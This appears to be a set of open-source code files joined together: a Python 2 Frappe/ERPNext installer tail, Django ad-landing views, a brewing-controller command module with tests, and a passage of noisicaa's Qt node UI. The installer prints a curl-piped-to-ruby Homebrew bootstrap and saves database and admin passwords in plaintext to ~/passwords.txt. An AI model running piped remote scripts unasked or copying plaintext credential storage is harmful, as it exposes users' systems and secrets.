extra_vars.update(get_passwords(args.run_travis or args.without_bench_setup))
if args.production:
extra_vars.update(max_worker_connections=multiprocessing.cpu_count() * 1024)
branch = 'master' if args.production else 'master'
extra_vars.update(branch=branch)
if args.develop:
run_playbook('develop/install.yml', sudo=True, extra_vars=extra_vars)
elif args.production:
run_playbook('production/install.yml', sudo=True, extra_vars=extra_vars)
if os.path.exists(tmp_bench_repo):
shutil.rmtree(tmp_bench_repo)
def check_distribution_compatibility():
supported_dists = {'ubuntu': [14, 15, 16], 'debian': [7, 8],
'centos': [7], 'macos': [10.9, 10.10, 10.11, 10.12]}
dist_name, dist_version = get_distribution_info()
if dist_name in supported_dists:
if float(dist_version) in supported_dists[dist_name]:
return
print "Sorry, the installer doesn't support {0} {1}. Aborting installation!".format(dist_name, dist_version)
if dist_name in supported_dists:
print "Install on {0} {1} instead".format(dist_name, supported_dists[dist_name][-1])
sys.exit(1)
def get_distribution_info():
# return distribution name and major version
if platform.system() == "Linux":
current_dist = platform.dist()
return current_dist[0].lower(), current_dist[1].rsplit('.')[0]
elif platform.system() == "Darwin":
current_dist = platform.mac_ver()
return "macos", current_dist[0].rsplit('.', 1)[0]
def install_python27():
version = (sys.version_info[0], sys.version_info[1])
if version == (2, 7):
return
print 'Installing Python 2.7'
# install python 2.7
success = run_os_command({
'apt-get': 'sudo apt-get install -y python2.7',
'yum': 'sudo yum install -y python27',
'brew': 'brew install python'
})
if not success:
could_not_install('Python 2.7')
# replace current python with python2.7
os.execvp('python2.7', ([] if is_sudo_user() else ['sudo']) + ['python2.7', __file__] + sys.argv[1:])
def install_package(package):
package_exec = find_executable(package)
if not package_exec:
success = run_os_command({
'apt-get': ['sudo apt-get install -y {0}'.format(package)],
'yum': ['sudo yum install -y {0}'.format(package)]
})
else:
return
if not success:
could_not_install(package)
def check_brew_installed():
if 'Darwin' not in os.uname():
return
brew_exec = find_executable('brew')
if not brew_exec:
raise Exception('''
Please install brew package manager before proceeding with bench setup. Please run following
to install brew package manager on your machine,
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
''')
def clone_bench_repo(args):
'''Clones the bench repository in the user folder'''
if os.path.exists(tmp_bench_repo):
return 0
elif args.without_bench_setup:
clone_path = os.path.join(os.path.expanduser('~'), 'bench')
else:
clone_path = tmp_bench_repo
branch = args.bench_branch or 'master'
repo_url = args.repo_url or 'https://github.com/bailabs/bench-v7.git'
success = run_os_command(
{'git': 'git clone {repo_url} {bench_repo} --depth 1 --branch {branch}'.format(
repo_url=repo_url, bench_repo=clone_path, branch=branch)}
)
return success
def run_os_command(command_map):
'''command_map is a dictionary of {'executable': command}. For ex. {'apt-get': 'sudo apt-get install -y python2.7'} '''
success = True
for executable, commands in command_map.items():
if find_executable(executable):
if isinstance(commands, basestring):
commands = [commands]
for command in commands:
returncode = subprocess.check_call(command, shell=True)
success = success and ( returncode == 0 )
break
return success
def could_not_install(package):
raise Exception('Could not install {0}. Please install it manually.'.format(package))
def is_sudo_user():
return os.geteuid() == 0
def get_passwords(ignore_prompt=False):
if not ignore_prompt:
mysql_root_password, admin_password = '', ''
pass_set = True
while pass_set:
# mysql root password
if not mysql_root_password:
mysql_root_password = getpass.unix_getpass(prompt='Please enter mysql root password: ')
conf_mysql_passwd = getpass.unix_getpass(prompt='Re-enter mysql root password: ')
if mysql_root_password != conf_mysql_passwd:
mysql_root_password = ''
continue
# admin password
if not admin_password:
admin_password = getpass.unix_getpass(prompt='Please enter the default Administrator user password: ')
conf_admin_passswd = getpass.unix_getpass(prompt='Re-enter Administrator password: ')
if admin_password != conf_admin_passswd:
admin_password = ''
continue
pass_set = False
else:
mysql_root_password = admin_password = 'travis'
passwords = {
'mysql_root_password': mysql_root_password,
'admin_password': admin_password
}
if not ignore_prompt:
passwords_file_path = os.path.join(os.path.expanduser('~'), 'passwords.txt')
with open(passwords_file_path, 'w') as f:
json.dump(passwords, f, indent=1)
print 'Passwords saved at ~/passwords.txt'
return passwords
def get_extra_vars_json(extra_args):
# We need to pass production as extra_vars to the playbook to execute conditionals in the
# playbook. Extra variables can passed as json or key=value pair. Here, we will use JSON.
json_path = os.path.join('/tmp', 'extra_vars.json')
extra_vars = dict(extra_args.items())
with open(json_path, mode='w') as j:
json.dump(extra_vars, j, indent=1, sort_keys=True)
return ('@' + json_path)
def run_playbook(playbook_name, sudo=False, extra_vars=None):
args = ['ansible-playbook', '-c', 'local', playbook_name]
if extra_vars:
args.extend(['-e', get_extra_vars_json(extra_vars)])
if extra_vars.get('verbosity'):
args.append('-vvvv')
if sudo:
user = extra_vars.get('user') or getpass.getuser()
args.extend(['--become', '--become-user={0}'.format(user)])
if os.path.exists(tmp_bench_repo):
cwd = tmp_bench_repo
else:
cwd = os.path.join(os.path.expanduser('~'), 'bench')
success = subprocess.check_call(args, cwd=os.path.join(cwd, 'playbooks'))
return success
def parse_commandline_args():
import argparse
parser = argparse.ArgumentParser(description='Frappe Installer')
# Arguments develop and production are mutually exclusive both can't be specified together.
# Hence, we need to create a group for discouraging use of both options at the same time.
args_group = parser.add_mutually_exclusive_group()
args_group.add_argument('--develop', dest='develop', action='store_true', default=False,
help='Install developer setup')
args_group.add_argument('--production', dest='production', action='store_true',
default=False, help='Setup Production environment for bench')
parser.add_argument('--site', dest='site', action='store', default='site1.local',
help='Specifiy name for your first ERPNext site')
parser.add_argument('--verbose', dest='verbosity', action='store_true', default=False,
help='Run the script in verbose mode')
parser.add_argument('--user', dest='user', help='Install frappe-v7 for this user')
parser.add_argument('--bench-branch', dest='bench_branch', help='Clone a particular branch of bench repository')
parser.add_argument('--repo-url', dest='repo_url', help='Clone bench from the given url')
# To enable testing of script using Travis, this should skip the prompt
parser.add_argument('--run-travis', dest='run_travis', action='store_true', default=False,
help=argparse.SUPPRESS)
parser.add_argument('--without-bench-setup', dest='without_bench_setup', action='store_true', default=False,
help=argparse.SUPPRESS)
args = parser.parse_args()
return args
if __name__ == '__main__':
try:
import argparse
except ImportError:
# install python2.7
install_python27()
args = parse_commandline_args()
install_bench(args)
print '''Frappe/ERPNext has been successfully installed!'''
| gpl-3.0 |
diN0bot/ProcrasDonate | adwords/views/main.py | 1 | 2790 | import settings
from lib.view_utils import render_response, render_string, HttpResponseRedirect
from django.core.urlresolvers import reverse
from django.contrib.auth.decorators import user_passes_test
from adwords.models import *
def adword_page(request, group):
page = "landing"
return render_response(request, 'adwords/landing_pages/%s.html' % group, locals())
def adword_click(request, page, group):
return render_response(request, 'adwords/click_to_page_base.html', locals())
def adword_done(request, page, group):
return render_response(request, 'adwords/done_page.html', locals())
def adword_email_form(request, page, group):
if request.POST:
email = request.POST.get('email', None)
if email:
email = email.strip()
visitor = Visitor.add(group, page, email)
try:
# send email for recipient user to reset password
txt = render_string(request, 'adwords/email.txt', {'email': email,
'settings': settings,
'visitor': visitor,
'group': group,
'page': page})
visitor.send_email("Welcome to ProcrasDonate",
txt,
from_email=settings.EMAIL)
return HttpResponseRedirect(reverse('adword_done', args=(page, group)))
except:
Log.Error("Adword visitor::Problem sending thank you email to %s for %s \
(maybe email address does not exist?)" % (email, visitor), "adword")
return HttpResponseRedirect(reverse('adword_done', args=(page, group)))
@user_passes_test(lambda u: u.is_superuser)
def dashboard(request):
# table = rows of groups, with columns the total no. of emails registered per page
table = []
click_tos = Visitor.objects.all().values_list('email_page', flat=True).order_by().distinct()
# construct header row
header_row = ["Landing Page", "Total"]
for click_to in click_tos:
header_row.append(click_to)
table.append(header_row)
# construct rest of rows
groups = Visitor.objects.all().values_list('page_group', flat=True).order_by().distinct()
for group in groups:
row = [group, Visitor.objects.filter(page_group=group).count()]
for click_to in click_tos:
row.append(Visitor.objects.filter(email_page=click_to, page_group=group).count())
table.append(row)
return render_response(request, 'adwords/dashboard.html', locals())
| agpl-3.0 |
dennerlager/sepibrews | sepibrews/command.py | 1 | 2978 | import sys
import unittest
class Command():
"""Use factory method 'create(command_name)' to instantiate"""
def __init__(self, arguments, executionEngine):
self.arguments = arguments
self.executionEngine = executionEngine
def execute(self):
raise NotImplementedError()
class StartCommand(Command):
def execute(self):
self.executionEngine.execute()
class StopCommand(Command):
def execute(self):
self.executionEngine.stopExecution()
class QuitCommand(Command):
def execute(self):
self.executionEngine.stopExecution()
sys.exit()
class GetPvCommand(Command):
def execute(self):
return self.executionEngine.getTemperature()
class GetSvCommand(Command):
def execute(self):
return self.executionEngine.getSetValue()
class GetRemainingStepTimeCommand(Command):
def execute(self):
return self.executionEngine.getRemainingStepTime()
class GetTotalRemainingTimeCommand(Command):
def execute(self):
return self.executionEngine.getTotalRemainingTime()
class SetRecipeCommand(Command):
def execute(self):
return self.executionEngine.setRecipe(self.arguments[0])
commands = {'start': StartCommand,
'stop': StopCommand,
'quit': QuitCommand,
'getPv': GetPvCommand,
'getSv': GetSvCommand,
'getRemainingStepTime': GetRemainingStepTimeCommand,
'getTotalRemainingTime': GetTotalRemainingTimeCommand,
'setRecipe': SetRecipeCommand, }
def create(command_name, arguments, executionEngine):
try:
return commands[command_name](arguments, executionEngine)
except KeyError:
raise ValueError("no such command: {}".format(command_name))
class CommandCreationTest(unittest.TestCase):
def test_instantiate_raises(self):
self.assertRaises(ValueError, create, 'asdf', [], 'ee')
def test_startCommand(self):
self.assertIsInstance(create('start', [], 'ee'), StartCommand)
def test_stopCommand(self):
self.assertIsInstance(create('stop', [], 'ee'), StopCommand)
def test_quitCommand(self):
self.assertIsInstance(create('quit', [], 'ee'), QuitCommand)
def test_getPvCommand(self):
self.assertIsInstance(create('getPv', [], 'ee'), GetPvCommand)
def test_getSvCommand(self):
self.assertIsInstance(create('getSv', [], 'ee'), GetSvCommand)
def test_getRemainingStepTimeCommand(self):
self.assertIsInstance(create('getRemainingStepTime', [], 'ee'),
GetRemainingStepTimeCommand)
def test_getTotalRemainingTimeCommand(self):
self.assertIsInstance(create('getTotalRemainingTime', [], 'ee'),
GetTotalRemainingTimeCommand)
def test_setRecipe(self):
self.assertIsInstance(create('setRecipe', ['./recipes/test.csv'], 'ee'), SetRecipeCommand)
if __name__ == '__main__':
unittest.main()
| gpl-3.0 |
odahoda/noisicaa | noisicaa/ui/graph/base_node.py | 1 | 34059 | #!/usr/bin/python3
# @begin:license
#
# Copyright (c) 2015-2019, Benjamin Niemann <pink@odahoda.de>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
#
# @end:license
import functools
import logging
import os.path
from typing import cast, Any, Optional, Dict, List, Iterable
from PyQt5.QtCore import Qt
from PyQt5 import QtCore
from PyQt5 import QtGui
from PyQt5 import QtSvg
from PyQt5 import QtWidgets
from noisicaa import constants
from noisicaa import audioproc
from noisicaa import core
from noisicaa import value_types
from noisicaa import music
from noisicaa import node_db
from noisicaa.ui import ui_base
from noisicaa.ui import mute_button
logger = logging.getLogger(__name__)
port_colors = {
node_db.PortDescription.UNDEFINED: QtGui.QColor(150, 150, 150),
node_db.PortDescription.AUDIO: QtGui.QColor(100, 255, 100),
node_db.PortDescription.ARATE_CONTROL: QtGui.QColor(100, 255, 180),
node_db.PortDescription.KRATE_CONTROL: QtGui.QColor(100, 180, 255),
node_db.PortDescription.EVENTS: QtGui.QColor(255, 180, 100),
}
class SelectColorAction(QtWidgets.QWidgetAction):
colorSelected = QtCore.pyqtSignal(value_types.Color)
def __init__(self, parent: QtCore.QObject) -> None:
super().__init__(parent)
self.setDefaultWidget(SelectColorWidget(parent=parent, action=self))
class ColorBox(QtWidgets.QWidget):
clicked = QtCore.pyqtSignal()
def __init__(self, color: value_types.Color, parent: QtWidgets.QWidget) -> None:
super().__init__(parent)
self.__color = color
self.setFixedSize(24, 24)
def paintEvent(self, event: QtGui.QPaintEvent) -> None:
super().paintEvent(event)
painter = QtGui.QPainter(self)
try:
painter.fillRect(self.rect(), Qt.black)
painter.fillRect(self.rect().adjusted(1, 1, -1, -1), Qt.white)
painter.fillRect(self.rect().adjusted(2, 2, -2, -2), QtGui.QColor.fromRgbF(
self.__color.r,
self.__color.g,
self.__color.b,
self.__color.a))
finally:
painter.end()
def mousePressEvent(self, event: QtGui.QMouseEvent) -> None:
if event.button() == Qt.LeftButton:
self.clicked.emit()
class SelectColorWidget(QtWidgets.QWidget):
colors = [
value_types.Color(0.7, 0.7, 0.7),
value_types.Color(0.8, 0.8, 0.8),
value_types.Color(0.9, 0.9, 0.9),
value_types.Color(1.0, 1.0, 1.0),
value_types.Color(1.0, 0.6, 0.6),
value_types.Color(1.0, 0.7, 0.7),
value_types.Color(1.0, 0.8, 0.8),
value_types.Color(1.0, 0.9, 0.9),
value_types.Color(1.0, 0.6, 0.1),
value_types.Color(1.0, 0.7, 0.3),
value_types.Color(1.0, 0.8, 0.6),
value_types.Color(1.0, 0.9, 0.8),
value_types.Color(0.6, 1.0, 0.6),
value_types.Color(0.7, 1.0, 0.7),
value_types.Color(0.8, 1.0, 0.8),
value_types.Color(0.9, 1.0, 0.9),
value_types.Color(0.6, 0.6, 1.0),
value_types.Color(0.7, 0.7, 1.0),
value_types.Color(0.8, 0.8, 1.0),
value_types.Color(0.9, 0.9, 1.0),
value_types.Color(1.0, 0.6, 1.0),
value_types.Color(1.0, 0.7, 1.0),
value_types.Color(1.0, 0.8, 1.0),
value_types.Color(1.0, 0.9, 1.0),
value_types.Color(1.0, 1.0, 0.6),
value_types.Color(1.0, 1.0, 0.7),
value_types.Color(1.0, 1.0, 0.8),
value_types.Color(1.0, 1.0, 0.9),
value_types.Color(0.6, 1.0, 1.0),
value_types.Color(0.7, 1.0, 1.0),
value_types.Color(0.8, 1.0, 1.0),
value_types.Color(0.9, 1.0, 1.0),
]
def __init__(self, *, action: SelectColorAction, **kwargs: Any) -> None:
super().__init__(**kwargs)
self.__action = action
layout = QtWidgets.QGridLayout()
layout.setContentsMargins(QtCore.QMargins(2, 2, 2, 2))
layout.setSpacing(2)
self.setLayout(layout)
for idx, color in enumerate(self.colors):
w = ColorBox(color, self)
w.clicked.connect(functools.partial(self.__action.colorSelected.emit, color))
layout.addWidget(w, idx // 8, idx % 8)
class NodeProps(QtCore.QObject):
contentRectChanged = QtCore.pyqtSignal(QtCore.QRectF)
canvasLayoutChanged = QtCore.pyqtSignal()
class Title(QtWidgets.QGraphicsSimpleTextItem):
def __init__(self, name: str, parent: 'Node') -> None:
super().__init__(parent)
self.setText(name)
self.setFlag(QtWidgets.QGraphicsItem.ItemClipsToShape, True)
self.setAcceptedMouseButtons(Qt.LeftButton)
self.__width = None # type: float
def boundingRect(self) -> QtCore.QRectF:
bounding_rect = super().boundingRect()
if self.__width is not None:
bounding_rect.setWidth(self.__width)
return bounding_rect
def shape(self) -> QtGui.QPainterPath:
shape = QtGui.QPainterPath()
shape.addRect(self.boundingRect())
return shape
def setWidth(self, width: float) -> None:
self.__width = width
class Box(QtWidgets.QGraphicsPathItem):
def mousePressEvent(self, event: QtWidgets.QGraphicsSceneMouseEvent) -> None:
# swallow mouse press events (which aren't handled by some other of the
# node's items) to prevent the canvas from triggering a rubber band
# selection.
event.accept()
class NodeIcon(QtWidgets.QGraphicsItem):
def __init__(self, icon: QtSvg.QSvgRenderer, parent: QtWidgets.QGraphicsItem) -> None:
super().__init__(parent)
self.__icon = icon
self.__size = QtCore.QSizeF()
self.__pixmap = None # type: QtGui.QPixmap
def setRect(self, rect: QtCore.QRectF) -> None:
self.prepareGeometryChange()
self.setPos(rect.topLeft())
self.__size = rect.size()
def boundingRect(self) -> QtCore.QRectF:
return QtCore.QRectF(QtCore.QPointF(), self.__size)
def paint(
self, painter: QtGui.QPainter, option: QtWidgets.QStyleOptionGraphicsItem,
widget: Optional[QtWidgets.QWidget] = None) -> None:
size = min(self.__size.width(), self.__size.height())
size = int(size - 0.4 * max(0, size - 50))
if size < 10:
return
pixmap_size = QtCore.QSize(size, size)
if self.__pixmap is None or self.__pixmap.size() != pixmap_size:
self.__pixmap = QtGui.QPixmap(pixmap_size)
self.__pixmap.fill(QtGui.QColor(0, 0, 0, 0))
pixmap_painter = QtGui.QPainter(self.__pixmap)
try:
self.__icon.render(pixmap_painter, QtCore.QRectF(0, 0, size, size))
finally:
pixmap_painter.end()
painter.setOpacity(min(0.8, max(0.2, 0.8 - (size - 30) / 100)))
painter.drawPixmap(
int((self.__size.width() - size) / 2),
int((self.__size.height() - size) / 2),
self.__pixmap)
class PortLabel(QtWidgets.QGraphicsRectItem):
def __init__(self, port: 'Port') -> None:
super().__init__()
self.setZValue(100000)
self.__text = QtWidgets.QGraphicsSimpleTextItem(self)
tooltip = '%s: ' % port.name()
tooltip += '/'.join(
{
node_db.PortDescription.AUDIO: "audio",
node_db.PortDescription.KRATE_CONTROL: "k-rate control",
node_db.PortDescription.ARATE_CONTROL: "a-rate control",
node_db.PortDescription.EVENTS: "event",
}[port_type]
for port_type in port.possible_types())
tooltip += {
node_db.PortDescription.INPUT: " input",
node_db.PortDescription.OUTPUT: " output",
}[port.direction()]
self.__text.setText(tooltip)
self.__text.setPos(4, 2)
text_box = self.__text.boundingRect()
pen = QtGui.QPen()
pen.setColor(Qt.black)
pen.setWidth(1)
self.setPen(pen)
self.setBrush(QtGui.QColor(255, 255, 200))
self.setRect(0, 0, text_box.width() + 8, text_box.height() + 4)
class Port(QtWidgets.QGraphicsPathItem):
def __init__(self, port_desc: node_db.PortDescription, parent: 'Node') -> None:
super().__init__(parent)
self.__desc = port_desc
self.__node = parent.node()
self.__listeners = core.ListenerList()
self.__listeners.add(
self.__node.connections_changed.add(lambda _: self.__update()))
self.__target_type = None # type: node_db.PortDescription.Type
self.__highlighted = False
self.__tooltip = None # type: PortLabel
def setup(self) -> None:
self.__tooltip = PortLabel(self)
self.scene().addItem(self.__tooltip)
self.__update()
def cleanup(self) -> None:
if self.__tooltip is not None:
self.scene().removeItem(self.__tooltip)
self.__tooltip = None
self.__listeners.cleanup()
def name(self) -> str:
return self.__desc.name
def direction(self) -> node_db.PortDescription.Direction:
return self.__desc.direction
def current_type(self) -> node_db.PortDescription.Type:
return self.__node.get_current_port_type(self.__desc.name)
def possible_types(self) -> List['node_db.PortDescription.Type']:
return self.__node.get_possible_port_types(self.__desc.name)
def node(self) -> 'Node':
return cast(Node, self.parentItem())
def highlighted(self) -> bool:
return self.__highlighted
def setHighlighted(self, highlighted: bool) -> None:
self.__highlighted = highlighted
self.__update()
def setTargetType(self, target_type: node_db.PortDescription.Type) -> None:
if self.__target_type == target_type:
return
self.__target_type = target_type
self.__update()
def clearTargetType(self) -> None:
if self.__target_type is None:
return
self.__target_type = None
self.__update()
def canConnectTo(self, port: 'Port') -> bool:
return music.can_connect_ports(
self.__node, self.__desc.name,
port.__node, port.__desc.name)
def preferredConnectionType(self, port: 'Port') -> node_db.PortDescription.Type:
return music.get_preferred_connection_type(
self.__node, self.__desc.name,
port.__node, port.__desc.name)
def handleScenePos(self) -> QtCore.QPointF:
if not self.isVisible():
return self.scenePos()
elif self.__desc.direction == node_db.PortDescription.INPUT:
return self.scenePos() + QtCore.QPointF(-10, 0)
else:
return self.scenePos() + QtCore.QPointF(10, 0)
def descriptionChanged(self, port_desc: node_db.PortDescription) -> None:
self.__desc = port_desc
self.__update()
def __update(self) -> None:
color = port_colors[self.__target_type or self.current_type()]
if self.__highlighted:
self.setOpacity(1.0)
self.__tooltip.setVisible(self.__highlighted)
ttpos = self.scenePos()
ttpos += QtCore.QPointF(0, -self.__tooltip.boundingRect().height() / 2)
if self.__desc.direction == node_db.PortDescription.OUTPUT:
ttpos += QtCore.QPointF(20, 0)
else:
ttpos -= QtCore.QPointF(20 + self.__tooltip.boundingRect().width(), 0)
self.__tooltip.setPos(ttpos)
else:
self.setOpacity(0.7)
self.__tooltip.setVisible(False)
if self.__highlighted or self.__target_type is not None:
pen = QtGui.QPen()
pen.setColor(Qt.red)
pen.setWidth(2)
self.setPen(pen)
self.setBrush(color)
rect = QtCore.QRectF(-15, -12, 30, 24)
else:
pen = QtGui.QPen()
pen.setColor(QtGui.QColor(80, 80, 200))
pen.setWidth(1)
self.setPen(pen)
self.setBrush(color)
rect = QtCore.QRectF(-10, -8, 20, 16)
path = QtGui.QPainterPath()
if self.__desc.direction == node_db.PortDescription.INPUT:
path.moveTo(0, rect.top())
path.arcTo(rect, 90, 180)
else:
path.moveTo(0, rect.top())
path.arcTo(rect, 90, -180)
self.setPath(path)
class Node(ui_base.ProjectMixin, core.AutoCleanupMixin, QtWidgets.QGraphicsItem):
__next_zvalue = 2.0
has_window = False
def __init__(
self, *,
node: music.BaseNode,
icon: Optional[QtSvg.QSvgRenderer] = None,
**kwargs: Any
) -> None:
super().__init__(**kwargs)
self.setZValue(1.0)
self.setAcceptHoverEvents(True)
self.setAcceptedMouseButtons(Qt.LeftButton)
self.props = NodeProps()
self.__session_prefix = 'node/%016x/' % node.id
self.__listeners = core.ListenerList()
self.add_cleanup_function(self.__listeners.cleanup)
self.__node = node
self.__window = None # type: QtWidgets.QWidget
self.__box = Box(self)
if icon is not None:
self.__icon = NodeIcon(icon, self)
else:
self.__icon = None
self.__ports = {} # type: Dict[str, Port]
for port_desc in self.__node.description.ports:
port = Port(port_desc, self)
self.__ports[port_desc.name] = port
self.__title = Title(self.__node.name, self)
self.__title_edit = QtWidgets.QLineEdit()
self.__title_edit.editingFinished.connect(self.__renameNodeFinished)
self.__title_edit_proxy = QtWidgets.QGraphicsProxyWidget(self)
self.__title_edit_proxy.setWidget(self.__title_edit)
self.__title_widgets_proxy = None
self.__title_widgets_container = None
title_widgets = list(self.titleWidgets())
if title_widgets:
self.__title_widgets_container = QtWidgets.QWidget()
self.__title_widgets_container.setAutoFillBackground(False)
self.__title_widgets_container.setAttribute(Qt.WA_NoSystemBackground, True)
layout = QtWidgets.QHBoxLayout()
layout.setContentsMargins(0, 0, 0, 0)
layout.setSpacing(1)
for widget in title_widgets:
layout.addWidget(widget)
self.__title_widgets_container.setLayout(layout)
self.__title_widgets_proxy = QtWidgets.QGraphicsProxyWidget(self)
self.__title_widgets_proxy.setWidget(self.__title_widgets_container)
self.__body_proxy = None # type: QtWidgets.QGraphicsProxyWidget
self.__body = self.createBodyWidget()
if self.__body is not None:
self.__body.setAutoFillBackground(False)
self.__body.setAttribute(Qt.WA_NoSystemBackground, True)
self.__body_proxy = QtWidgets.QGraphicsProxyWidget(self)
self.__body_proxy.setWidget(self.__body)
self.__transform = QtGui.QTransform()
self.__canvas_rect = self.__transform.mapRect(self.contentRect())
self.__selected = False
self.__hovered = False
self.__rename_node = False
self.__drag_rect = QtCore.QRectF()
self.__listeners.add(
self.__node.name_changed.add(self.__nameChanged))
self.__listeners.add(
self.__node.graph_pos_changed.add(self.__graphRectChanged))
self.__listeners.add(
self.__node.graph_size_changed.add(self.__graphRectChanged))
self.__listeners.add(
self.__node.graph_color_changed.add(lambda *_: self.__updateState()))
self.__listeners.add(
self.__node.port_properties_changed.add(lambda *_: self.__layout()))
self.__listeners.add(
self.__node.description_changed.add(lambda *_: self.__descriptionChanged()))
self.__state = None # type: audioproc.NodeStateChange.State
self.__listeners.add(
self.audioproc_client.node_state_changed.add(
'%08x' % self.__node.id, self.__stateChanged))
self.__updateState()
def __str__(self) -> str:
return '<node name=%r> ' % self.__node.name
@property
def __in_ports(self) -> List[node_db.PortDescription]:
return [
port_desc for port_desc in self.__node.description.ports
if port_desc.direction == node_db.PortDescription.INPUT
]
@property
def __out_ports(self) -> List[node_db.PortDescription]:
return [
port_desc for port_desc in self.__node.description.ports
if port_desc.direction == node_db.PortDescription.OUTPUT
]
def __nameChanged(self, *args: Any) -> None:
self.__title.setText(self.__node.name)
def __graphRectChanged(self, *args: Any) -> None:
self.__canvas_rect = self.__transform.mapRect(self.contentRect())
self.__layout()
self.props.contentRectChanged.emit(self.contentRect())
def createBodyWidget(self) -> QtWidgets.QWidget:
return None
def createWindow(self, **kwargs: Any) -> QtWidgets.QWidget:
raise RuntimeError("Node %s does not support windows." % type(self).__name__)
def titleWidgets(self) -> Iterable[QtWidgets.QWidget]:
if self.__node.description.node_ui.muteable:
muted_button = mute_button.MuteButton()
muted_button.toggled.connect(
lambda muted: self.project_client.set_session_value(
self.__session_prefix + 'muted', muted))
muted_button.setChecked(
self.project_client.get_session_value(
self.__session_prefix + 'muted', False))
self.project_client.add_session_data_listener(
self.__session_prefix + 'muted', muted_button.setChecked)
yield muted_button
if self.__node.removable:
remove_button = QtWidgets.QToolButton()
remove_button.setAutoRaise(True)
remove_button.setIcon(QtGui.QIcon(
os.path.join(constants.DATA_DIR, 'icons', 'window-close.svg')))
remove_button.clicked.connect(self.onRemove)
yield remove_button
def setup(self) -> None:
for port in self.__ports.values():
port.setup()
def cleanup(self) -> None:
for port in self.__ports.values():
port.cleanup()
self.__ports.clear()
if self.__window is not None:
self.__window.close()
self.__window = None
super().cleanup()
def node(self) -> music.BaseNode:
return self.__node
def id(self) -> int:
return self.__node.id
def name(self) -> str:
return self.__node.name
def graph_pos(self) -> value_types.Pos2F:
return self.__node.graph_pos
def graph_size(self) -> value_types.SizeF:
return self.__node.graph_size
def ports(self) -> Iterable[Port]:
for port_desc in self.__node.description.ports:
yield self.__ports[port_desc.name]
def upstream_nodes(self) -> List[music.BaseNode]:
return self.__node.upstream_nodes()
def selected(self) -> bool:
return self.__selected
def setSelected(self, selected: bool) -> None:
self.__selected = selected
self.__updateState()
def port(self, port_name: str) -> Port:
return self.__ports[port_name]
def portHandleScenePos(self, port_name: str) -> QtCore.QPointF:
return self.__ports[port_name].handleScenePos()
def contentTopLeft(self) -> QtCore.QPointF:
return QtCore.QPointF(self.__node.graph_pos.x, self.__node.graph_pos.y)
def contentSize(self) -> QtCore.QSizeF:
return QtCore.QSizeF(self.__node.graph_size.width, self.__node.graph_size.height)
def contentRect(self) -> QtCore.QRectF:
return QtCore.QRectF(self.contentTopLeft(), self.contentSize())
def canvasTopLeft(self) -> QtCore.QPointF:
return self.__canvas_rect.topLeft()
def setCanvasTopLeft(self, pos: QtCore.QPointF) -> None:
self.__canvas_rect.moveTopLeft(pos)
self.__layout()
def setCanvasRect(self, rect: QtCore.QRectF) -> None:
self.__canvas_rect = rect
self.__layout()
def canvasRect(self) -> QtCore.QRectF:
return self.__canvas_rect
def setCanvasTransform(self, transform: QtGui.QTransform) -> None:
self.__transform = transform
self.__canvas_rect = self.__transform.mapRect(self.contentRect())
self.__layout()
def resizeSide(self, pos: QtCore.QPointF) -> Optional[str]:
t = self.__canvas_rect.top()
b = self.__canvas_rect.bottom()
l = self.__canvas_rect.left()
r = self.__canvas_rect.right()
w = self.__canvas_rect.width()
h = self.__canvas_rect.height()
resize_rects = {
'top': QtCore.QRectF(l + 4, t, w - 8, 4),
'bottom': QtCore.QRectF(l + 10, b - 10, w - 20, 10),
'left': QtCore.QRectF(l, t + 4, 4, h - 14),
'right': QtCore.QRectF(r - 4, t + 4, 4, h - 14),
'topleft': QtCore.QRectF(l, t, 4, 4),
'topright': QtCore.QRectF(r - 4, t, 4, 4),
'bottomleft': QtCore.QRectF(l, b - 10, 10, 10),
'bottomright': QtCore.QRectF(r - 10, b - 10, 10, 10),
}
for side, rect in resize_rects.items():
if rect.contains(pos):
return side
return None
def dragRect(self) -> QtCore.QRectF:
return self.__drag_rect
def boundingRect(self) -> QtCore.QRectF:
return self.__box.boundingRect()
def __descriptionChanged(self) -> None:
ports = {}
for port_desc in self.__node.description.ports:
if port_desc.name not in self.__ports:
port = Port(port_desc, self)
port.setup()
else:
port = self.__ports[port_desc.name]
port.descriptionChanged(port_desc)
ports[port_desc.name] = port
for port_name, port in self.__ports.items():
if port_name not in ports:
port.cleanup()
port.setParentItem(None)
self.scene().removeItem(port)
self.__ports = ports
self.__layout()
def __stateChanged(self, state_change: audioproc.NodeStateChange) -> None:
if state_change.HasField('state'):
self.__state = state_change.state
self.__updateState()
def __updateState(self) -> None:
if self.__selected or self.__hovered:
opacity = 1.0
else:
opacity = 0.7
self.__box.setOpacity(opacity)
for port in self.__ports.values():
if not port.highlighted():
port.setOpacity(opacity)
if self.__state == audioproc.NodeStateChange.BROKEN:
pen = QtGui.QPen()
pen.setColor(Qt.black)
pen.setWidth(2)
self.__box.setPen(pen)
self.__box.setBrush(QtGui.QColor(255, 0, 0))
elif self.__selected:
pen = QtGui.QPen()
pen.setColor(QtGui.QColor(80, 80, 200))
pen.setWidth(2)
self.__box.setPen(pen)
self.__box.setBrush(QtGui.QColor(150, 150, 255))
else:
pen = QtGui.QPen()
pen.setColor(Qt.black)
pen.setWidth(2)
self.__box.setPen(pen)
self.__box.setBrush(QtGui.QColor.fromRgbF(
self.__node.graph_color.r,
self.__node.graph_color.g,
self.__node.graph_color.b,
self.__node.graph_color.a))
def __layout(self) -> None:
self.setPos(self.__canvas_rect.topLeft())
w, h = self.__canvas_rect.width(), self.__canvas_rect.height()
path = QtGui.QPainterPath()
path.addRoundedRect(0, 0, w, h, 5, 5)
self.__box.setPath(path)
visible_in_ports = []
for desc in self.__in_ports:
port_properties = self.__node.get_port_properties(desc.name)
if not port_properties.exposed:
port = self.__ports[desc.name]
port.setVisible(False)
continue
visible_in_ports.append(desc)
show_ports = (0.5 * h > 10 * max(len(visible_in_ports), len(self.__out_ports)))
for idx, desc in enumerate(visible_in_ports):
port = self.__ports[desc.name]
if len(visible_in_ports) > 1:
